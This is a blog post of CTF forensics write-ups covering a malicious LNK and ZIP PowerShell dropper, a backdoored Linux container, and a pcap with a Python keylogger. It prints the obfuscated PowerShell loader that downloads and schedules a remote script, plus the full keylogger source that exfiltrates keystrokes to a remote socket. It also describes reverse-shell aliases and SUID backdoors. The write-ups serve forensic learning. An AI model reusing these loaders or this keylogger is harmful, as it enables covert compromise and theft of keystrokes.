HTB x UNI CTF Finals— Forensics Writeup

Yan1x0s
17 min readMar 24, 2021

I have played with Cyber Erudites Team the qualification phase of UNI x HTB CTF and we got qualified with a ranking of 13/15 TOP Teams.
I did some writeups about for the forensics challenges and a reverse challenge

We played the finals past week and we finished in the 6th place. It shows an improvement of our level but i’m sure we can do better :D

Anyway, hfz and I did solve all forensics challenges and we are sharing with you their writeups. I like each one of them and i have learnt new stuff (i hope you will too).

Zipper

This challenge was quite easy & fun.

Challenge description :

The SOC identified a bunch of suspicious emails with ZIP attachments. The zips don't have executables in them, so how dangerous can they be?

Solution

We are given a zip file that contains 3 files :

Seeing that .lnk file made me remember a blog published by Benson Sy at TrendMicro, that i have read about a technique used by attackers in order to make people execute malicious files/commands without their knowledge.

Windows LNK (LNK) extensions. LNK files are usually seen by users as shortcuts, and used in places like the Desktop and Start Menu.

APT10 was behind the first malware (BKDR_ChChe) that uses a malicious LNK file in 2016, see below a simple workflow :

Attack used to compromise Japanese targets in October 2016

Isn’t this the same case for us in this challenge ? we have a .lnk file and a .jpg . But what’s the zip file ?
In many cases, these malicious LNK files can reveal valuable information about the attacker’s development environment. To help get this information, a quick analysis is possible by viewing the properties of the file :

  • On windows, you just right click the lnk file and go to properties (GUI)
  • On linux, use lnkinfo command that parse the properties (CLI)

We notice that the lnk file execute the cmd.exe and gives a powershell command as an argument.

NB : Why not execute directly the powershell command ? The default maximum length of a Windows Environment Variable is 260 characters. However, the maximum length for a command line argument is 4096 characters.

Let’s inspect that powershell comand :

powershel%LOCALAPPDATA:~-1% -eP bypasS -win Hi'dde'n -c '&{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes("Ae%4@3SDs");$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}'"

That looks bad ! it’s a one line command separated by ‘;’ . Let’s check them one by one :

- c:\users $v=dir -force -r -in zipper.zip | select -last 1
- $key = [System.Text.Encoding]::UTF8.GetBytes("Ae%4@3SDs")
- $j = gc -LiteralPat $v.fullname
- $j[$j.length-1] | iex
- iex($pt)

What do those commands do ?

  • Get the full path of the zipper.zip file
  • Create a variable “key” from the string “Ae%4@3SDs”
  • Get the content of zip file and store it in a variable “j”
  • Read the last stream of the zip file and pipe it to IEX which will executes it
  • Execute the content of a variable “pt”

Why the key variable is not used ? Where did that variable pt came from ? may be defined when executing $j[$j.length -1] ? Let’s see :

An other powershell comand :

$x = [System.Convert]::FromBase64String("MhFERjQeIzYcIgBWR2AeJC09JQpSZzRKPwFTCQxhUCVdczcQKRFERytAc2NcIg1EWidWc2sHL0VkfWAcNy0AIAdJUWcIdwsAFBFjQTJQEnQfACxxZTh1BnMjC1gBUS5FaTEAJBdVRi9VOigWakJ5dTBDFyUHIDl3WyFeOioUZl4FEBlYawswGxVvdxBKZg9CCgBWbBBAc3lTaSJAQG1kPi08Iw9AVzQTBC0dcld6dy9eIzEHJBd2TTNHNikjMwpBQSNHemomFCxhD2AXOTQRIgNvZyFiGxA8c1dhcnEBIwEhfEF8X3h8EB4DCyZ1TXV4Yg8WMj11R25gJiYANRdMWicbY2hFaF4FEBh5EB0GEBdWchR/ZnEqLSp0QgZKI2ROYUFqRxVHFTEBIiQVWAF6BxULBzASZAoYdBhUakFPRCJQNQ4gIDRtYA8BYQA1cFdVcRIIGiJbNQBWQG1DMjAbYUF9fgNqJhUBMiNxeHUGCig8EBNjTTARDxsaL0cMTyJBNiUYegdXUSFYaDlIYSxDHGEbJyEANUhVVTRbc2ArCyZ8QRFBIAInDVAQbSx8AjI1OBUMHTt9NjNeCBFAWWAeGjAWLDFcRCUTFy0BJAZRWzJKc2k1LhdGUWAeAyUHKUUBbApwCjEiMxZjYAwGZh0fDjRTcjlDaGRXJwlEU30RGxAxOgERWicAIXQmMjpfBTBsCS0jHh8URDAAATlRPF4FFjNHMjYHbBVXWyNWIDdTbBJMeiRcJBcHOAlgFAhaFyAWL0VVWzdWITcbJAlJGiVLNmRbaUIFE2sUfidTKABdFGgbPQEEZk4CGQ9RdG9UCwBGE2sUJ2RbOkIOE3AUeGMODyBRGmcYdBMWA0IOEyNfOiFUakJLE2sUJz9DPEIOE2kUeGNab01eE2sUYzk3LhICH2d9HytUakJkUBNHdG9UMyxLczsUeGNDPEwLE2sUOioFLi4CH2dWe2wIcRhNQDQUeGMDMl8KE2sUfC0dN0IOEyVAJ2NYZgxJXScUeGMSZk4CWm5bdG9UNQcCH2ccJCFUakJXQClDPCgSMgBIGy4UeGMGZk4CXzBcPyEAJQReBD0UeGNaaEwCHWAeFWQoAi1kZh0Aam1RYRkFWzVHfiIaLQAFEBh5EB0GEBdWchR/ZnEqLSp0QgZKIxgCCBNncXNhFAUAOT1cBxMHYCtDIARUGjBAYn9TZRFkRndUIH01dlRmZQRxODFBDwRyTSYOdGRcB0UKVzJWMjAWYUpWV2BeOioGNQAFGy1cc3FTbjFrFGJyIzQhNAtpWycRc2sgFUUVA3oDY2RcFTcFFjBcJCEBMg1AWCwdNjwWYUhSXQ5XPDMgNRxJcWB7OgAXJAsFGSVLNmQROBVERzMTfiIaLQAFE2sXCw4wGBB0RjN1BwhGdDxJexFFFT0DakJ5RQlFEQFAEyJkRzhrKncgdVZKBCFSImoDMlQFFmcIczcHIBdRGTBBPCcWMhYFGTdaHSAcNjZRTSx2cwwaBQFAWmBAMCwHIBZOR2AXJwUBdgJWDQYEYgciBSdOQXJ9MhMKJ14=");$pt = [System.Text.Encoding]::UTF8.GetString($(for ($i=0; $i -lt $x.length; $i++){$x[$i] -bxor $key[$i%$key.length]}))

As expected, the variable “pt” is defined here and the variable “key” is also used here :

Simply, this command decodes a base64 encoded stream and xor it with the key

Solver script

>>> from pwn import xor
>>> from base64 import b64decode
>>> encoded_stream = "MhFERjQeIzYcIgBWR2AeJC09JQpSZzRKPwFTCQxhUCVdczcQKRFERytAc2NcIg1EWidWc2sHL0VkfWAcNy0AIAdJUWcIdwsAFBFjQTJQEnQfACxxZTh1BnMjC1gBUS5FaTEAJBdVRi9VOigWakJ5dTBDFyUHIDl3WyFeOioUZl4FEBlYawswGxVvdxBKZg9CCgBWbBBAc3lTaSJAQG1kPi08Iw9AVzQTBC0dcld6dy9eIzEHJBd2TTNHNikjMwpBQSNHemomFCxhD2AXOTQRIgNvZyFiGxA8c1dhcnEBIwEhfEF8X3h8EB4DCyZ1TXV4Yg8WMj11R25gJiYANRdMWicbY2hFaF4FEBh5EB0GEBdWchR/ZnEqLSp0QgZKI2ROYUFqRxVHFTEBIiQVWAF6BxULBzASZAoYdBhUakFPRCJQNQ4gIDRtYA8BYQA1cFdVcRIIGiJbNQBWQG1DMjAbYUF9fgNqJhUBMiNxeHUGCig8EBNjTTARDxsaL0cMTyJBNiUYegdXUSFYaDlIYSxDHGEbJyEANUhVVTRbc2ArCyZ8QRFBIAInDVAQbSx8AjI1OBUMHTt9NjNeCBFAWWAeGjAWLDFcRCUTFy0BJAZRWzJKc2k1LhdGUWAeAyUHKUUBbApwCjEiMxZjYAwGZh0fDjRTcjlDaGRXJwlEU30RGxAxOgERWicAIXQmMjpfBTBsCS0jHh8URDAAATlRPF4FFjNHMjYHbBVXWyNWIDdTbBJMeiRcJBcHOAlgFAhaFyAWL0VVWzdWITcbJAlJGiVLNmRbaUIFE2sUfidTKABdFGgbPQEEZk4CGQ9RdG9UCwBGE2sUJ2RbOkIOE3AUeGMODyBRGmcYdBMWA0IOEyNfOiFUakJLE2sUJz9DPEIOE2kUeGNab01eE2sUYzk3LhICH2d9HytUakJkUBNHdG9UMyxLczsUeGNDPEwLE2sUOioFLi4CH2dWe2wIcRhNQDQUeGMDMl8KE2sUfC0dN0IOEyVAJ2NYZgxJXScUeGMSZk4CWm5bdG9UNQcCH2ccJCFUakJXQClDPCgSMgBIGy4UeGMGZk4CXzBcPyEAJQReBD0UeGNaaEwCHWAeFWQoAi1kZh0Aam1RYRkFWzVHfiIaLQAFEBh5EB0GEBdWchR/ZnEqLSp0QgZKIxgCCBNncXNhFAUAOT1cBxMHYCtDIARUGjBAYn9TZRFkRndUIH01dlRmZQRxODFBDwRyTSYOdGRcB0UKVzJWMjAWYUpWV2BeOioGNQAFGy1cc3FTbjFrFGJyIzQhNAtpWycRc2sgFUUVA3oDY2RcFTcFFjBcJCEBMg1AWCwdNjwWYUhSXQ5XPDMgNRxJcWB7OgAXJAsFGSVLNmQROBVERzMTfiIaLQAFE2sXCw4wGBB0RjN1BwhGdDxJexFFFT0DakJ5RQlFEQFAEyJkRzhrKncgdVZKBCFSImoDMlQFFmcIczcHIBdRGTBBPCcWMhYFGTdaHSAcNjZRTSx2cwwaBQFAWmBAMCwHIBZOR2AXJwUBdgJWDQYEYgciBSdOQXJ9MhMKJ14="
>>> key = "Ae%4@3SDs"
>>> decoded_stream = b64decode(encoded_stream)
>>> result = xor(decoded_stream, key)
>>> print(result.decode().replace(';','\n'))start-process -wiNdowStylE HiDden schtasks '/change /tn AI /disable'$OsUtFurcA0lAITQxFU7PJ=$env:userprofile+'\AppData\Roaming'$Yk8OCZpJCPy5K1KesXPs = (Get-WmiObject Win32_ComputerSystemProduct).UUID$jpbcfJSaQHTO22DF12pER = $Yk8OCZpJCPy5K1KesXPs.Substring(0,6)$XJCYuQrsFTL55YlOQvFyp = $OsUtFurcA0lAITQxFU7PJ+ '\' + $jpbcfJSaQHTO22DF12pERIf(test-path $XJCYuQrsFTL55YlOQvFyp"\_in"){ break; break}If(!(test-path $XJCYuQrsFTL55YlOQvFyp))
{
New-Item -ItemType Directory -Force -Path $XJCYuQrsFTL55YlOQvFyp
$flag="HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}"
}
"start-process -wiNdowStylE HiDden powershell.exe ((' '+'-c iex ((nEw'+'-Ob'+'Jec'+'t ({'+'0'+'}NEt.'+'WeB'+'clie'+'n'+'t{0}'+')'+').({'+'0}Dow'+'NLo'+'AdSt'+'rInG{'+'0}).'+'invoK'+'e(({0}htt'+'ps:/'+'/inv'+'est'+'ilig'+'a'+'n.h'+'tb'+'/we'+'rtipolasem/n'+'u'+'kpolesda{0}'+')))') -F [CHAR]39)" | out-file $XJCYuQrsFTL55YlOQvFyp\qIvBE3RGAsxXy3S43o0aaq.ps1
$tAr7gs9F71CQDBku2NaWyf=' /F /create /sc minute /mo 5 /TN "AppRunLog" /ST 07:00 /TR "powershell.exe -wiNdowStylE HiDden -exe bypass -file '+$XJCYuQrsFTL55YlOQvFyp+'\qIvBE3RGAsxXy3S43o0aaq.ps1 "'
start-process -wiNdowStylE HiDden schtasks $tAr7gs9F71CQDBku2NaWyf

It’s an other powershell code xD

This script creates a hidden scheduled task “AppRunLog” every 5 minutes. The task is a downloaded from the https://investiligan.htb/wertipolasem/nukpolesda ( powershell script AGAIN :p )

Flag

We already have the flag, no need to inspect the remote ps1 file ^_^’ :
$flag = HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}

Hide and Seek

Written by hfz

Challenge description

Hackers made it onto one of our production servers. We've isolated it from the internet until we can clean the machine up. The IR team reported four different backdoors on the server, but didn't mention what they were and we currently can't get in touch with them. We need to get this server back into prod ASAP - we're losing money every second it's down. Please find the four backdoors (both remote access and privilege escalation) and remove them. Once you're done, run /root/solveme as root to check.  You have SSH access to the box with the username and password user : hackthebox, and you have sudo rights as well.

This was a really interesting challenge, I liked it not only because we got first
blood, but also because it was realistic and well designed, kudos to the challenge authors.

The idea behind this challenge is that a server got compromised and whoever
compromised it made sure to setup some backdoors for both persistence and
privilege escalation. Our goal is to find these backdoors and remove them from the system, once done, we shall run the /root/solveme binary to get the flag. For this challenge, we’re given access to the server (a docker container) through SSH, and we can even get root on the container, so hunting down the backdoors shouldn’t be that hard.

Solution

First thing I checked when I logged in through SSH was .bashrc, this file is
run everytime bash is executed, and it’s a great way among many others for an attacker to keep persistence on the target machine.

Figure 1: .bashrc file under /home/user

Looking at the .bashrc file, we quickly notice a red flag, the cat command is
aliased to send the attacker a reverse shell, and then continue to do its job like
nothing happened. One bit of information to notice here is the modification date of the .bashrc file. Although the files’ timestamps can be faked quite easily, it’s safe to assume that if the attacker modified the .bashrc on the 2nd of March, at 12:58, then we can probably find other attacker activity around that time.

I ran a find command in order to retrieve the files that were modified between
the 2nd of March and the 3rd of March, the results that came out weren’t too
hard to analyze as they weren’t that many, and we can ignore some files that
aren’t really useful of persistence nor privesc.

I decided to look at /etc/passwd and /etc/shadow first, and I found something interesting.
The attacker added a root user named hodor, that user is essentially root on

Figure 2: Results of running the find command
Figure 3: The root user that was added by the attacker for the sake of persistence

the system, its uid and gid are both 0. We can’t delete that user directly using
userdel though, that’s because the container’s entrypoint is running as the
user with uid 0 (root), which is also hodor, and if we wish to use userdel we
have to kill the container. So instead, we’ll just delete the relevant entries from /etc/passwd and /etc/shadow to get rid of that user.

The output of the find command included two other interesting files that were
related to SSH, namely /root/.ssh/authorized_keys and /etc/init.d/ssh.
The first one had an additional public key that belonged to the attacker, the
comment field was bd, which I guess meant backdoor.

Figure 4: Backdoored authorized_keys file

The second file is a shell script that is run everytime the SSH daemon is started or restarted, and it contains a command at the bottom to maintain the attacker’s public key on the /root/.ssh/authorized_keys file in case it gets deleted.

Figure 5: Backdoored SSH init script

Finally, while looking at any presence of odd suid binaries on the machine,
I noticed three files that aren’t a default on Unix-like systems, their names
appeared to be generated randomly, they all had the same size and they seemed like a copy of bash, so running any of those binaries grants the user a root shell.

Digging a bit further on the cron jobs, we notice an unusual shell script under
/etc/cron.daily/access-up.

This shell script is run everyday in order to maintain the presence of the SUID
binaries in case they get deleted.

With all that in mind, we can clean up the system and get the flag with a few
commands.

Figure 6: SUID binaries that pop a root shell
Figure 7: Shell script that runs everyday to setup the SUID binaries

Solver script

#!/bin/bash
# We must be root
if [ "$EUID" -ne 0 ]; then
echo "The script should be run as root."
exit
fi
# 1. SUID Binaries and the cron job
# ---------------------------------
# Remove the SUID binaries used in order to privesc to root.
find /usr/sbin/ -type f -perm -4000 -exec rm -f {} \;
# Remove the cron job used for persistence in case the SUID binaries
# get deleted.
rm /etc/cron.daily/access-up
# 2. SSH
# ------
# Remove the SSH public key from /root/.ssh/authorized_keys, which
# is used for both persistence and privesc (since the attacker will
# get a root shell).
sed -i '/bd/d' /root/.ssh/authorized_keys
# Remove the line that adds this public key from the SSH server
# init script, it is used for persistence as it adds that public
# key every time the SSH server is (re)started.
sed -i '/bd/d' /etc/init.d/ssh
# 3. .bashrc
# ----------
# Remove the backdoored `cat` alias that grants the attacker a reverse
# shell (persistence) from the user's .bashrc.
sed -i '/alias cat/d' /home/user/.bashrc
# 4. Delete the added root user: Hodor
# ------------------------------------
sed -i '/hodor/d' /etc/passwd /etc/shadow
# Get the flag
/root/solveme

Flag

The flag is: HTB{g0oD_hUnt1n_y0u_f0und_1t!}

Time is of Essence

This one wasn’t easy but i have learnt a lot from it, i went through many rabbit wholes -.-’

Challenge description

While I was surfing the web I probably clicked something that I shouldn't have, and now I believe that someone knows everything about me. Help me find out what is going on! 
The profile is Win10x64_17134.

Solution

We are provided with a zip file that contains :

tioe.pcap : the network capture when the incident happened
tioe.raw : the memory dump of the affected machine after the incident

In this case, you need to choose wisely what file to inspect first because each one will take time.

I choose to start with the pcap because it shows what happened before the infection. I like to use NetworkMiner to get a summary of the network traffic because wireshark gives all the details :

We have :

  • 2 sessions towards the http port (80) : probably the targets downloading some malicious files without their knowledge
  • 17 sessions towards the attackers reverse port (4443) : probably the attacker exfiltering data

Let’s check what happened in the http traffic :

We have 3 file that got downloaded during this sessions :

  • job_application.hta :

HTA is short for HTML Application, which are programs based on HTML and one or more scripting languages supported by Internet Explorer, usually VBScript or JScript. The default file-association for the .hta extension is the Microsoft HTML Application Host (mshta.exe). They are used in Internet Explorer 5 and up. An HTA runs as a fully trusted application and as a result has a lot more privileges than a normal HTML file.

If we have it right, the target visited the website of the attacker which hosted an .hta file and the target didn’t disable the access and the execution of the .hta files.

The attacker hosted a malicious hta file that executes a powershell encoded command :

This commands is responsible for downloading the next stager file dow.ps1

  • dow.ps1 :

This is simply a powershell script. What does it contain :

The attacker also hosted a .exe file, he used his powershell script in order to download it and execute !

  • cbtws.exe :

That’s the last file and probably the one that made the started the traffic on port 4443. But what is it ?

It seems like a simple windows executable !

What to do ? I don’t have windows ? Do i execute it ? The description says it’s a malicious file…

Thanks to the online version of cuckoo sandbox : https://cuckoo.cert.ee

I could send it there and get an overview of its exeution, isn’t that cool ?
Here is the result, if you wanna check it : https://cuckoo.cert.ee/analysis/2140629/summary/

First thing, i saw when reading the summary is :

It’s a python malware compiled using PyInstaller ! This also confirmed it :

Python isn’t designed as a compiled language, it’s interpreted ! can’t we recover the source, just like we did with Malception (.NET executable)

First result of googling : “pyinstaller extractor” is : https://github.com/extremecoders-re/pyinstxtractor

That worked :

We have recovered all the base library and the “pyc” files of the main app.

The manifest file show that the main app is keylog.exe == keylog.pyc

Now what ? what do to do with those pyc files ? what are these files ?

.pyc files are created by the Python interpreter when a .py file is imported. They contain the “compiled bytecode” of the imported module/program so that the “translation” from source code to bytecode (which only needs to be done once) can be skipped on subsequent imports if the .pyc is newer than the corresponding .py file, thus speeding startup a little. But it’s still interpreted. Once the *.pyc file is generated, there is no need of *.py file, unless you edit it.

This means we can recover the source code (.py file) from the .pyc files ! let’s google that : “from pyc to py” : https://stackoverflow.com/questions/5287253/is-it-possible-to-decompile-a-compiled-pyc-file-into-a-py-file

I have downloaded uncompyle6 : https://pypi.org/project/uncompyle6/

Time to recover the source code =D

Not that fast ! It didn’t work.
Is the problem on the uncompyle6 ? or the file keylog.pyc ? or is it a compatibility problem ? since we have different version of python and this means the compiled code will have different instructions ?

First, i wanted to confirm by running it against ther files :

Same problem…
I guess time to google how things work (how does uncompyle parse a pyc file and recover the py from it)

I found this amazing video : https://www.youtube.com/watch?v=jmC-FKNRdvk

It explains everything about the process of assembling the python code and dependancies in order to create an exe file.

TL_DR :

At the simple level, a .pyc file is a binary file containing only three things:

  • A four-byte magic number,
  • A four-byte modification timestamp, and
  • A marshalled code object.

The magic number is nothing as cool as cafebabe, it’s simply two bytes that change with each change to the marshalling code, and then two bytes of 0d0a.

At this point i got confused for all the different headers of these pyc, i went back to google and searched for other cases.

After a lot of debugging and comparison… I realised that the tool pyinstxtractor uses the actual python version as the version used by the target executable and it recovers the pyc files using the header of the actual version…

From the analysis of cuckoo sandbox, we know that the version of python is 3.7.

I moved to windows, installed python3.7 and run pyinstxtractor
After that i installed uncompyle6 and run it on keylog.pyc :

Daaamn, finally that worked !!!

The content of keylog.py :

from pynput.keyboard import Listener
from datetime import datetime
from Crypto.Cipher import AES
import threading, socket, random
text = ''def gen_key() -> str:
key = ''
sed = int(datetime.now().strftime('%H%M%S'))
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return keydef aes_enc(text: bytes) -> bytes:
key = 'oW7P0lH8aroxDKqn'
iv = gen_key()
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv.encode('utf-8'))
return cipher.encrypt(text)
def send(text: str) -> None:
HOST = '192.168.1.9'
PORT = 4443
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as (s):
s.connect((HOST, PORT))
s.sendall(aes_enc(text.encode('utf-8')))
def report() -> None:
global text
if text != '':
send(text)
text = ''
timer = threading.Timer(10, report)
timer.start()
def keystrokes(key: str) -> None:
global text
key = str(key).replace("'", '')
text += key + ' '
def main() -> None:
with Listener(on_press=keystrokes) as (log):
report()
log.join()
if __name__ == '__main__':
main()

Let’s summarize what this keylogger is doing :

  • Every 10 seconds launch a function report
  • The report function calls keystrokes function, this last one listen of key strokes of the target for 10 seconds and the result is stored in a variable called text
  • Once the keystrokes function gets the user keystrokes, the report function send this data to his socket at (192.168.1.9, 4443) using a send function
  • The send function encrypts the data using AES CFB-MODE :

The key is set to “oW7P0lH8aroxDKqn” but the IV is generated randomly using gen_key function …

def gen_key() -> str:
key = ''
sed = int(datetime.now().strftime('%H%M%S'))
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return key

But wait ! is this really random ? Nope :D

Why is that ? random.random is known as a PRNG, a pseudo- random number generator. This random depends on the seed, it uses it as an initial value to generate random values.

So if we can recover the seed used by the attacker, then we can decrypt the data sent over the socket.
What’s the seed ?

sed = int(datetime.now().strftime('%H%M%S'))

it’s the timestamp of the actual day ( uses only the actual hours, minutes and seconds). Can’t we recover that from pcap ? of course we can :

Now that we have the time, let’s write the script to decrypt the stream data of the keystrokes.

Solver script

from datetime import datetime
from Crypto.Cipher import AES
import random, subprocess, pytz
subprocess.getstatusoutput("tshark -r tioe.pcap -Y \"tcp.dstport == 4443\" -T fields -e data | tail -n +2 | tr -d '\n\r' | xxd -r -p > keylogs.enc.bin")keylogs_enc = open("keylogs.enc.bin","rb").read()cursor = 0sessions_lengths = [ 158, 146, 56, 186, \
238, 84 , 62, 16 , \
16 , 16 , 16, 80 , \
32 , 36 , 26, 138, \
56 ]
sessions_timings = [ "00:22", "00:32", "00:42", "00:52",\
"01:02", "01:12", "01:22", "01:32",\
"01:42", "01:52", "02:02", "02:12",\
"02:22", "02:32", "02:42", "02:52",\
"03:03" ]
def gen_key(i): key = '' date_time_str = '2021-01-31 20:{}.022593'.format
(sessions_timings[i])
date_time_obj = datetime.strptime(date_time_str,
'%Y-%m-%d %H:%M:%S.%f')

tz = pytz.timezone("CET")
old_time = tz.localize(date_time_obj, is_dst=None)

sed = int(old_time.strftime('%H%M%S'))
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return key
def aes_dec(text):
data = b""
start = 0
end = 0
key = 'oW7P0lH8aroxDKqn' for i in range(len(packets_length)) :
start = end
end += sessions_lengths[i]

iv = gen_key(i)
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB,
iv.encode('utf-8'))
data += cipher.decrypt(text[start:end])
return dataprint(aes_dec(keylogs_enc))

Explaination :

  • We read all the data streams sent to the port 4443 using tshark and save them inside a file
  • If you remember, when we used NetworkMiner to get an overview of the traffic, we found 2 http sessions and 17 tcp session towards the port 4443
  • A session == a socket → new IV for AES CFB (new one each 10 seconds)
  • We need to define 2 arrays, 1 for the starting time of each session and an other one for the amount of data sent during that session : we can use NetworkMiner or Wireshark to get these informations :

We need to ajust the size so that we have only tcp data (without tcp headers)

  • We parse the binary data using the 2 arrays as a reference and we decrypt them using the static key and the corresponding IV

When executed :

C a n  i  g e t  h a c k e d  b y  c l i c k i n g  a  l i n k  ? 
I s i t s a f e w t Key.backspace Key.backspace Key.backspace t o o p e n a l Key.backspace l i n k ?
I s t h e r e a w a y t o f i n d i Key.backspace o u t i f i g o t h a c k e d ? I m i g h t g o t h a c k e d
H e l p i g o t h a c k e d
H T B { t 3 l l _ m e _ A l l Key.left Key.left Key.backspace @ Key.right Key.right _ Y o u r _ S 3 c r 3 t s } H Key.backspace H o w c a n i b u r n m y p c a n d t h e m a l w a r e w i t h i n i t ?

That is hardly redeable, let’s remove useless keystrokes like “Key.Space, Key.Shift….”

Can i get hacked by clicking a link ? 
Is it safew tKey.backspaceKey.backspaceKey.backspace to open al Key.backspace link ?
Is there a way to find i Key.backspace out if i got hacked ? I might got hacked
Help i got hacked
HTB {t3ll _me _ All Key.left Key.left Key.backspace @ Key.right Key.right _Your _ S3cr3ts } H Key.backspace How can i burn my pc and the malware within it ?

Flag

Now we can clearly see the flag :

HTB {t3ll _me _ All Key.left Key.left Key.backspace @ Key.right Key.right _Your _ S3cr3ts }

We can fix it by replacing Key.backspace with deleting the previous char :

HTB{t3ll_me_@ll_Your_S3cr3ts}

Please, if you notice that i miss-understood something, just let me know with a comment !

I hope you have learnt something =D

Also, thanks to HackTheBox team for the amazing challenges during this CTF and for all what they are prividing to the infosec community 💚

#Yan1x0s

--

--

Yan1x0s

Talent doesn’t exist. It is the desire of doing things